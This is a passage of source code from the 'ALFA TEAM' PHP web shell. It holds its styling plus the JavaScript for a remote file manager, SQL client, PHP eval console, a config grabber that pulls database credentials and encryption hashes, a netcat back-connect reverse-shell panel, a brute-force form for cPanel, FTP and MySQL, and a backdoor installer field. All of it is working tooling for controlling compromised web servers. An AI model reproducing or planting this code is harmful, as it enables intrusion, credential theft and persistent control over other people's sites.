(min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php echo \'
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{\'.$csscode.\'width:100px;height:100px;}
#a_loader img{\'.$csscode.\'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url();background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:\'.alfa_getColor("header_values").\';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:\'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'0\':\'1\').\'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(\'.__showicon(\'btn\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;\'.(!@is_writable($GLOBALS[\'cwd\'])?\'}.dir{background-color:red;}\':\'}\').\'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}\'.alfaCssLoadColors().\'
</style>\';
echo "<script type=\'text/javascript\'>
var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';
var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\';
var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';
var islinux = ".($GLOBALS[\'sys\']!="win"?\'true\':\'false\').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?\'true\':\'false\').";";?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g(\'FilesMan\',\'/\');\" path=\'/\' href=\'#action=fileman&path=/\'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g(\'FilesMan\',\'"+r+l[i]+"/\');\" path=\'"+r+l[i]+"/\' href=\'#action=fileman&path="+r+l[i]+\'/\' class="header_pwd">\'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id=\'"+s+"\' class=\'up_bar\'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname=\'"+n+"\']").parentElement.parentElement.parentElement.remove()}catch(e){}l+=\'<tr class="fmanager-row" id="tr_row_\'+r+\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'+n+\'" class="chkbx" id="checkbox\'+r+\'"><label for="checkbox\'+r+\'"></label></div></td><td id="td_row_\'+r+\'">\'+p+\'<div style="position:relative;display:inline-block;bottom:12px;"><a row="\'+r+\'" id="id_\'+r+\'" class="main_name" onclick="editor(\'\'+s+"\',\'auto\',\'\',\'\',\'\',\'file\');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+\'" fname="\'+n+\'" ftype="file" path="\'+c_+\'" opt_title="">\'+n+\'</a></div></td><td><span style="font-weight:unset;" class="main_size">\'+c+\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'+_+\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'+u+\'</span></td><td><a id="id_chmode_\'+r+\'" href="javascript:void(0)" onclick="editor(\'\'+s+"\',\'chmod\',\'\',\'\',\'\',\'file\')\">"+f+\'</a></td><td><a id="id_rename_\'+r+\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\'\'+s+"\', \'rename\',\'\',\'\',\'\',\'file\')\">R</a> <a id=\"id_touch_"+r+\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\'\'+s+"\', \'touch\',\'\',\'\',\'\',\'file\')\">T</a> <a id=\"id_edit_"+r+\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\'\'+s+"\', \'edit\',\'\',\'\',\'\',\'file\')\">E</a> <a id=\"id_download_"+r+\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'\'+n+"\', \'download\')\">D</a><a id=\"id_delete_"+r+\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # \'+s+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+s+"\') : \'\';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id=\'loader_"+e+\'\' class="options-loader-holder"><div parent="\'+e+\'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>\')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML=\'<label class="inputfile" for="\'+e+\'"><span id="__fnameup\'+upcount+\'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="\'+e+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');" multiple>\',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var 